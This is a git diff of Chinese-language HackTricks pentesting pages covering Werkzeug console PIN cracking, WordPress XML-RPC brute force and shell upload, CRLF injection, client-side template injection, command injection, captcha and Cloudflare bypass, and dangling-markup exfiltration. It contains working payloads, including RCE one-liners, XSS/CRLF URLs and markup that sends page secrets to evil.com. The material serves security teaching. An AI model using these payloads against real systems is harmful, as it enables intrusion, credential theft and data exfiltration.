### 智能代理与 Cloudflare 内置绕过 <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
**智能代理** 由专业公司持续更新，旨在超越 Cloudflare 的安全措施（因为这是他们的业务）。
其中一些是：
其中一些包括：
- [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
- [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) 以其专有的 Cloudflare 绕过机制而闻名。
对于那些寻求优化解决方案的人，[ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/) 脱颖而出。该服务将超过 20 个代理提供商集成到一个 API 中，自动选择最佳和最具成本效益的代理，以便为你的目标域名提供更优的选择，从而更好地应对 Cloudflare 的防御。
对于寻求优化解决方案的人，[ScrapeOps 代理聚合器](https://scrapeops.io/proxy-aggregator/) 脱颖而出。该服务将超过 20 个代理提供商集成到一个 API 中，自动选择最佳和最具成本效益的代理，以便为你的目标域名提供更优的选择，从而更好地应对 Cloudflare 的防御。
### 逆向工程 Cloudflare 反机器人保护 <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
逆向工程 Cloudflare 的反机器人措施是智能代理提供商使用的一种策略，适合于大规模网页抓取，而无需高成本运行多个无头浏览器。
逆向工程 Cloudflare 的反机器人措施是智能代理提供商使用的一种策略，适合于大规模网页抓取，而无需高成本地运行多个无头浏览器。
**优点：** 这种方法允许创建一个极其高效的绕过，专门针对 Cloudflare 的检查，适合大规模操作。
**缺点：** 缺点在于理解和欺骗 Cloudflare 故意模糊的反机器人系统的复杂性，需要持续努力测试不同的策略并在 Cloudflare 增强其保护时更新绕过。
**缺点：** 缺点在于理解和欺骗 Cloudflare 故意模糊的反机器人系统的复杂性，需要持续努力测试不同的策略并在 Cloudflare 加强保护时更新绕过。
在 [原始文章](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/) 中找到更多关于如何做到这一点的信息。
有关如何做到这一点的更多信息，请参见 [原始文章](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)。
## 参考文献

15
src/network-services-pentesting/pentesting-web/werkzeug.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## 控制台 RCE
如果调试处于活动状态，您可以尝试访问 `/console` 并获得 RCE。
@ -15,7 +14,7 @@ __import__('os').popen('whoami').read();
## Pin 保护 - 路径遍历
在某些情况下，**`/console`** 端点将受到 pin 的保护。如果您有 **文件遍历漏洞**，您可以泄露生成该 pin 所需的所有信息。
在某些情况下，**`/console`** 端点将受到 pin 的保护。如果你有 **文件遍历漏洞**，你可以泄露生成该 pin 所需的所有信息。
### Werkzeug 控制台 PIN 漏洞
@ -40,7 +39,7 @@ shell that runs the server
- **`uuid.getnode()`**: 获取当前机器的 MAC 地址，`str(uuid.getnode())` 将其转换为十进制格式。
- 要 **确定服务器的 MAC 地址**，必须识别应用使用的活动网络接口（例如，`ens3`）。如果不确定，**泄露 `/proc/net/arp`** 以查找设备 ID，然后 **从 `/sys/class/net/<device id>/address`** 中提取 MAC 地址。
- 要 **确定服务器的 MAC 地址**，必须识别应用使用的活动网络接口（例如，`ens3`）。如果不确定，**泄露 `/proc/net/arp`** 以找到设备 ID，然后 **从 `/sys/class/net/<device id>/address`** 中提取 MAC 地址。
- 将十六进制 MAC 地址转换为十进制可以如下进行：
```python
@ -141,20 +140,22 @@ rv = num
print(rv)
```
该脚本通过对连接的位进行哈希处理，添加特定的盐（`cookiesalt` 和 `pinsalt`），并格式化输出，从而生成 PIN。需要注意的是，`probably_public_bits` 和 `private_bits` 的实际值需要从目标系统准确获取，以确保生成的 PIN 与 Werkzeug 控制台预期的匹配。
该脚本通过对连接的位进行哈希，添加特定的盐（`cookiesalt` 和 `pinsalt`），并格式化输出，生成 PIN。需要注意的是，`probably_public_bits` 和 `private_bits` 的实际值需要从目标系统准确获取，以确保生成的 PIN 与 Werkzeug 控制台预期的匹配。
> [!TIP]
> 如果您使用的是 **旧版本** 的 Werkzeug，请尝试将 **哈希算法更改为 md5** 而不是 sha1。
## Werkzeug Unicode 字符
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的，Werkzeug 不会关闭带有 Unicode 字符的请求。正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的，这可能导致 CL.0 请求走私漏洞。
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的，Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的，这可能导致 CL.0 请求走私漏洞。
这是因为，在 Werkzeug 中可以发送一些 **Unicode** 字符，这会导致服务器 **崩溃**。然而，如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的，请求的主体将不会被读取，连接仍将保持打开状态，因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。
这是因为，在 Werkzeug 中可以发送一些 **Unicode** 字符，这会导致服务器 **崩溃**。然而，如果 HTTP 连接是使用 **`Connection: keep-alive`** 头创建的，请求的主体将不会被读取，连接仍将保持打开状态，因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。
## 自动化利用
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## 参考文献

38
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -5,7 +5,7 @@
## 基本信息
- **上传**的文件位于: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **主题文件可以在 /wp-content/themes/ 中找到，** 所以如果你修改主题的一些 php 文件以获取 RCE，你可能会使用该路径。例如: 使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **主题文件可以在 /wp-content/themes/ 中找到，** 所以如果你更改主题的一些 php 文件以获取 RCE，你可能会使用该路径。例如: 使用 **theme twentytwelve** 你可以 **访问** **404.php** 文件在: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **另一个有用的 URL 可能是:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -35,7 +35,7 @@
### 用户权限
- **管理员**
- **编辑者**: 发布和管理他和其他人的帖子
- **编辑**: 发布和管理他和其他人的帖子
- **作者**: 发布和管理自己的帖子
- **贡献者**: 撰写和管理自己的帖子但不能发布
- **订阅者**: 浏览帖子并编辑他们的个人资料
@ -89,9 +89,9 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
如果响应是 **200** 或 **30X**，则表示该 id 是 **有效** 的。如果响应是 **400**，则该 id 是 **无效** 的。
如果响应是 **200** 或 **30X**，这意味着 id 是 **有效** 的。如果响应是 **400**，那么 id 是 **无效** 的。
- **wp-json:** 您还可以通过查询来获取有关用户的信息：
- **wp-json:** 你也可以通过查询来获取用户的信息：
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**凭据暴力破解**
**凭证暴力破解**
**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭据的方法。如果你能找到其中任何一个，你可以发送类似于：
**`wp.getUserBlogs`**、**`wp.getCategories`** 或 **`metaWeblog.getUsersBlogs`** 是一些可以用来暴力破解凭证的方法。如果你能找到其中任何一个，你可以发送类似于：
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -178,8 +178,8 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**DDoS 或端口扫描**
如果您可以在列表中找到方法 _**pingback.ping**_，您可以让 Wordpress 向任何主机/端口发送任意请求。\
这可以用来请求**成千上万**的 Wordpress **站点**去**访问**一个**位置**（因此在该位置造成**DDoS**），或者您可以用它让**Wordpress**去**扫描**一些内部**网络**（您可以指定任何端口）。
如果您可以在列表中找到方法 _**pingback.ping**_，则可以使 Wordpress 向任何主机/端口发送任意请求。\
这可以用来请求**成千上万**的 Wordpress **站点** **访问**一个**位置**（因此在该位置造成**DDoS**），或者您可以用它让**Wordpress** **扫描**一些内部**网络**（您可以指定任何端口）。
```markup
<methodCall>
<methodName>pingback.ping</methodName>
@ -225,9 +225,11 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**，如果存在，它会尝试利用它们。
此工具检查**methodName: pingback.ping**和路径**/wp-json/oembed/1.0/proxy**，如果存在，则尝试利用它们。
## Automatic Tools
```bash
@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## 通过覆盖一个比特获取访问权限
这不仅仅是一次真正的攻击，而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中，你可以翻转任何 WordPress 文件的 1 个比特。因此，你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转，以 NOP NOT (`!`) 操作。
这不仅仅是真正的攻击，而是一种好奇。在 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) 中，你可以翻转任何 WordPress 文件的 1 个比特。因此，你可以将文件 `/var/www/html/wp-includes/user.php` 的位置 `5389` 翻转为 NOP NOT (`!`) 操作。
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -275,7 +277,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (722).png>)
上传插件并按立即安装：
上传插件并按“立即安装”：
![](<../../images/image (249).png>)
@ -283,7 +285,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
![](<../../images/image (70).png>)
这可能看起来没有任何作用，但如果您转到媒体，您将看到您的 shell 已上传：
这可能看起来没有任何反应，但如果您转到媒体，您将看到您的 shell 已上传：
![](<../../images/image (462).png>)
@ -301,7 +303,7 @@ use exploit/unix/webapp/wp_admin_shell_upload
- 上传下载插件的 zip 文件。
3. **插件激活**：插件成功安装后，必须通过仪表板激活。
4. **利用**：
- 安装并激活插件 "reflex-gallery"，可以利用它，因为已知存在漏洞。
- 安装并激活插件“reflex-gallery”，可以利用它，因为已知存在漏洞。
- Metasploit 框架提供了此漏洞的利用。通过加载适当的模块并执行特定命令，可以建立 meterpreter 会话，从而获得对站点的未经授权访问。
- 注意，这只是利用 WordPress 网站的众多方法之一。
@ -311,9 +313,9 @@ use exploit/unix/webapp/wp_admin_shell_upload
## 从 XSS 到 RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike)：_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本，适用于 WordPress。有关更多信息，请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 WordPress 版本 6.X.X、5.X.X 和 4.X.X 的 **支持，并允许：**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike)：_**WPXStrike**_ 是一个旨在将 **跨站脚本 (XSS)** 漏洞升级为 **远程代码执行 (RCE)** 或其他关键漏洞的脚本，适用于 WordPress。有关更多信息，请查看 [**此帖子**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)。它提供对 **Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持，并允许：**
- _**权限提升：**_ 在 WordPress 中创建用户。
- _**(RCE) 自定义插件 (后门) 上传：**_ 将您的自定义插件 (后门) 上传到 WordPress。
- _**(RCE) 自定义插件（后门）上传：**_ 将您的自定义插件（后门）上传到 WordPress。
- _**(RCE) 内置插件编辑：**_ 编辑 WordPress 中的内置插件。
- _**(RCE) 内置主题编辑：**_ 编辑 WordPress 中的内置主题。
- _**(自定义) 自定义利用：**_ 针对第三方 WordPress 插件/主题的自定义利用。
@ -388,10 +390,10 @@ add_filter( 'auto_update_theme', '__return_true' );
### **其他建议**
- 删除默认 **admin** 用户
- 移除默认的 **admin** 用户
- 使用 **强密码** 和 **2FA**
- 定期 **审查** 用户 **权限**
- **限制登录尝试** 以防止暴力破解攻击
- **限制登录尝试** 以防止暴力攻击
- 重命名 **`wp-admin.php`** 文件，并仅允许内部或特定 IP 地址访问。
{{#include ../../banners/hacktricks-training.md}}

14
src/other-web-tricks.md
View File

@ -2,18 +2,17 @@
{{#include ./banners/hacktricks-training.md}}
### 主机头
几次后端信任 **Host header** 来执行某些操作。例如，它可能会使用其值作为 **发送密码重置的域**。因此，当您收到一封包含重置密码链接的电子邮件时，使用的域是您在 Host header 中输入的域。然后，您可以请求其他用户的密码重置，并将域更改为您控制的域，以窃取他们的密码重置代码。 [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
几次后端信任 **Host header** 来执行某些操作。例如，它可能会使用其值作为 **发送密码重置的域**。因此，当您收到一封带有重置密码链接的电子邮件时，使用的域是您在 Host header 中输入的域。然后，您可以请求其他用户的密码重置，并将域更改为您控制的域，以窃取他们的密码重置代码。 [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
> [!WARNING]
> 请注意，您甚至可能不需要等待用户点击重置密码链接以获取令牌，因为 **垃圾邮件过滤器或其他中介设备/机器人可能会点击它以进行分析**。
> 请注意，您甚至可能不需要等待用户点击重置密码链接来获取令牌，因为可能连 **垃圾邮件过滤器或其他中介设备/机器人都会点击它进行分析**。
### 会话布尔值
有时，当您正确完成某些验证时，后端会 **仅将值为 "True" 的布尔值添加到您的会话的安全属性中**。然后，另一个端点将知道您是否成功通过了该检查。\
然而，如果您 **通过检查** 并且您的会话在安全属性中获得了 "True" 值，您可以尝试 **访问其他资源**，这些资源 **依赖于相同的属性**，但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
然而，如果您 **通过了检查**，并且您的会话在安全属性中获得了 "True" 值，您可以尝试 **访问其他资源**，这些资源 **依赖于相同的属性**，但您 **不应该有权限** 访问。 [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
### 注册功能
@ -21,11 +20,13 @@
### 接管电子邮件
注册一个电子邮件，在确认之前更改电子邮件，然后，如果新的确认电子邮件发送到第一个注册的电子邮件，您可以接管任何电子邮件。或者，如果您可以启用第二个电子邮件以确认第一个电子邮件，您也可以接管任何帐户。
注册一个电子邮件，在确认之前更改电子邮件，然后，如果新的确认电子邮件发送到第一个注册的电子邮件，您可以接管任何电子邮件。或者，如果您可以启用第二个电子邮件以确认第一个电子邮件，您也可以接管任何账户。
### 访问使用 atlassian 的公司的内部服务台
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE 方法
@ -33,5 +34,4 @@
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

8
src/pentesting-web/captcha-bypass.md
View File

@ -21,7 +21,7 @@
- 利用光学字符识别（OCR）工具，如[Tesseract OCR](https://github.com/tesseract-ocr/tesseract)，自动化从图像中读取字符。
4. **其他技术**：
- **速率限制测试**：检查应用程序是否限制在给定时间内的尝试或提交次数，以及是否可以绕过或重置此限制。
- **第三方服务**：使用验证码解决服务或API，提供自动化验证码识别和解决。
- **第三方服务**：使用提供自动验证码识别和解决的验证码解决服务或API。
- **会话和IP轮换**：频繁更改会话ID和IP地址，以避免被服务器检测和阻止。
- **用户代理和头部操控**：更改用户代理和其他请求头，以模拟不同的浏览器或设备。
- **音频验证码分析**：如果有音频验证码选项，使用语音转文本服务来解释和解决验证码。
@ -30,8 +30,10 @@
### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) 是一项AI驱动的服务，专门自动解决各种类型的验证码，通过帮助开发人员轻松克服在Web抓取过程中遇到的验证码挑战，增强数据收集。它支持的验证码包括**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest和Cloudflare转闸等**。对于开发人员，Capsolver提供了详细的API集成选项，见[**文档**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** 便于将验证码解决集成到应用程序中。他们还提供了适用于[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)和[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)的浏览器扩展，使用户可以直接在浏览器中轻松使用他们的服务。提供不同的定价套餐以满足不同需求，确保用户的灵活性。
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) 是一个由AI驱动的服务，专门自动解决各种类型的验证码，通过帮助开发人员轻松克服在Web抓取过程中遇到的验证码挑战来增强数据收集。它支持的验证码包括**reCAPTCHA V2、reCAPTCHA V3、DataDome、AWS Captcha、Geetest和Cloudflare转闸等**。对于开发人员，Capsolver提供了详细的API集成选项，见[**文档**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** 便于将验证码解决集成到应用程序中。他们还提供了适用于[Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod)和[Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)的浏览器扩展，使用户可以直接在浏览器中轻松使用他们的服务。提供不同的定价套餐以满足不同需求，确保用户的灵活性。
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

8
src/pentesting-web/client-side-template-injection-csti.md
View File

@ -23,8 +23,7 @@ AngularJS 是一个广泛使用的 JavaScript 框架，通过称为指令的属
```
您可以在 **AngularJS** 中找到该漏洞的一个非常 **基本的在线示例**，链接为 [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) 和 [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION]
> [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)，因此从这个版本开始，像 `{{constructor.constructor('alert(1)')()}}` 或 `<input ng-focus=$event.view.alert('XSS')>` 这样的有效载荷应该可以工作。
> [!CAUTION] > [**Angular 1.6 移除了沙箱**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html)，因此从这个版本开始，像 `{{constructor.constructor('alert(1)')()}}` 或 `<input ng-focus=$event.view.alert('XSS')>` 的有效载荷应该可以工作。
## VueJS
@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **暴力破解检测列表**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

9
src/pentesting-web/command-injection.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## 什么是命令注入？
**命令注入** 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此，应用程序及其所有数据可能会完全被破坏。这些命令的执行通常使攻击者能够获得对应用程序环境和底层系统的未经授权的访问或控制。
@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **限制** 绕过
如果您尝试在 **linux 机器内部执行任意命令**，您会对这些 **绕过** 感兴趣：
如果您尝试在 **linux 机器内部执行任意命令**，您会对以下 **绕过** 感兴趣：
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -76,7 +75,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### 基于时间的数据外泄
逐字符提取数据：
逐字符提取数据:
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 参考文献

22
src/pentesting-web/crlf-0d-0a.md
View File

@ -2,11 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
### CRLF
回车 (CR) 和换行 (LF)，统称为 CRLF，是在 HTTP 协议中用于表示行结束或新行开始的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体。这些字符在各种 Web 服务器类型（如 Apache 和 Microsoft IIS）中普遍用于 HTTP/1.1 通信。
回车 (CR) 和换行 (LF)，统称为 CRLF，是在 HTTP 协议中用于表示行结束或新行开始的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头部和响应体。这些字符在各种 Web 服务器类型（如 Apache 和 Microsoft IIS）中的 HTTP/1.1 通信中被普遍使用。
### CRLF 注入漏洞
@ -31,13 +29,13 @@ IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
攻击者通过使其恶意活动看起来像是本地主机（在服务器环境中通常被信任的实体）执行的操作，从而掩盖其活动。服务器将以 `%0d%0a` 开头的查询部分解释为单个参数，而 `restrictedaction` 参数则被解析为另一个独立的输入。被操控的查询有效地模仿了一个合法的管理命令：`/index.php?page=home&restrictedaction=edit`
攻击者通过使其恶意活动看起来像是本地主机（在服务器环境中通常被信任的实体）执行的操作，从而掩盖其恶意活动。服务器将以 `%0d%0a` 开头的查询部分解释为一个单一参数，而 `restrictedaction` 参数则被解析为另一个独立输入。被操控的查询有效地模拟了一个合法的管理命令：`/index.php?page=home&restrictedaction=edit`
### HTTP 响应拆分
#### 描述
HTTP 响应拆分是一种安全漏洞，发生在攻击者利用 HTTP 响应的结构时。该结构使用特定字符序列将头部与主体分开，即回车（CR）后跟换行（LF），统称为 CRLF。如果攻击者成功地将 CRLF 序列插入响应头中，他们可以有效地操控后续的响应内容。这种操控可能导致严重的安全问题，特别是跨站脚本（XSS）。
HTTP 响应拆分是一种安全漏洞，发生在攻击者利用 HTTP 响应的结构时。该结构使用特定字符序列将头部与主体分开，即回车（CR）后跟换行（LF），统称为 CRLF。如果攻击者设法在响应头中插入 CRLF 序列，他们可以有效地操控后续的响应内容。这种操控可能导致严重的安全问题，特别是跨站脚本（XSS）。
#### 通过 HTTP 响应拆分进行 XSS
@ -65,18 +63,20 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
```
#### 在 URL 路径中
您可以将有效负载 **放在 URL 路径中** 以控制服务器的 **响应**（来自 [here](https://hackerone.com/reports/192667) 的示例）：
您可以将有效负载 **放在 URL 路径中** 以控制服务器的 **响应**（来自 [这里](https://hackerone.com/reports/192667) 的示例）：
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
检查更多示例在：
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
{{#ref}}
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md
{{#endref}}
### HTTP Header Injection
HTTP Header Injection，通常通过 CRLF（回车和换行）注入进行利用，允许攻击者插入 HTTP 头。这可能会破坏安全机制，例如 XSS（跨站脚本）过滤器或 SOP（同源策略），可能导致对敏感数据（如 CSRF 令牌）的未经授权访问，或通过植入 cookie 操纵用户会话。
HTTP Header Injection，通常通过 CRLF（回车换行）注入进行利用，允许攻击者插入 HTTP 头。这可能会破坏安全机制，例如 XSS（跨站脚本）过滤器或 SOP（同源策略），可能导致对敏感数据（如 CSRF 令牌）的未经授权访问，或通过植入 cookie 操纵用户会话。
#### 通过 HTTP Header Injection 利用 CORS
@ -117,7 +117,7 @@ $client->__soapCall("test", []);
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
之后，可以指定第二个请求。此场景通常涉及[HTTP request smuggling](http-request-smuggling/)，这是一种技术，其中服务器在注入后附加的额外头部或主体元素可能导致各种安全漏洞。
之后，可以指定第二个请求。此场景通常涉及[HTTP request smuggling](http-request-smuggling/)，这是一种技术，其中服务器在注入后附加的额外头或主体元素可能导致各种安全漏洞。
**利用：**
@ -131,7 +131,7 @@ GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0
### Memcache 注入
Memcache 是一个**使用明文协议的键值存储**。更多信息请参见：
Memcache 是一个**使用明文协议的键值存储**。更多信息在：
{{#ref}}
../network-services-pentesting/11211-memcache/
@ -197,6 +197,4 @@ Memcache 是一个**使用明文协议的键值存储**。更多信息请参见
- [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
- [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
{{#include ../banners/hacktricks-training.md}}

34
src/pentesting-web/dangling-markup-html-scriptless-injection/README.md
View File

@ -7,13 +7,13 @@
此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法，但可以**注入一些HTML标签**，这非常有用。\
如果某些**秘密以明文形式保存在HTML中**，并且您想要**从客户端提取**它，或者如果您想误导某些脚本执行，这也很有用。
这里评论的几种技术可以通过以意想不到的方式（html标签、CSS、http-meta标签、表单、base等）提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
这里提到的几种技术可以通过以意想不到的方式（html标签、CSS、http-meta标签、表单、base等）提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
## 主要应用
### 偷取明文秘密
如果您在页面加载时注入`<img src='http://evil.com/log.cgi?`，受害者将向您发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中，您将窃取它（您可以使用双引号做同样的事情，看看哪个更有趣）。
如果您在页面加载时注入`<img src='http://evil.com/log.cgi?`，受害者将向您发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中，您将窃取它（您可以使用双引号做同样的事情，看看哪种使用方式更有趣）。
如果`img`标签被禁止（例如由于CSP），您也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
@ -21,9 +21,9 @@
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
请注意，**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**，因此您可以尝试其他协议方案，如 "ftp"。
请注意，**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**，因此您可以尝试其他协议方案，例如 "ftp"。
您还可以滥用 CSS `@import`（将发送所有代码，直到找到 ";"）。
您还可以滥用 CSS `@import`（将发送所有代码，直到找到 ";"）
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
@ -32,7 +32,7 @@
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送，但这需要一些用户交互（用户必须点击某个链接，因为 base 标签将更改链接指向的域）：
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送，但这需要一些用户交互（用户必须点击某个链接，因为基本标签将更改链接指向的域）：
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -67,7 +67,7 @@ I get consumed!
```
该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个闭合的`</option>`将被发送：
